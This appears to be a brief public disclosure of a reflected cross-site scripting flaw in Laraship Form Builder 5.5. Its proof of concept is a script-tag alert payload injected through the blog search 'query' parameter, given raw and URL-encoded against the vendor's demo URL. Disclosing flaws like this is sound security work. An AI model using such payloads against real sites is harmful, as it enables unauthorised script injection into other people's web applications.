============================================================================================================================ | # Title : Laraship Form Builder 5.5 xss Vulnerability | | # Author : indoushka | | # Telegram : @indoushka | | # Tested on : Win 10 X64 /Fr(Pro) | | # Vendor : https://codecanyon.net/item/laraship-form-builder/21301038 | | # Dork : n/a | ============================================================================================================================ poc : [+] use payload : /blog?query=1'%22()%26%25<acx><script>alert(/indoushka/);</script> http://formbuilder.laraship.com/blog?query=1%27%22()%26%25%3Cacx%3E%3Cscript%3Ealert(/indoushka/);%3C/script%3E Greetz :---------------------------------------------------------------------------------------- | jericho * Larry W. Cashdollar * 9aylas * djroot.dz *Gjoko 'LiquidWorm' Krstic | | ================================================================================================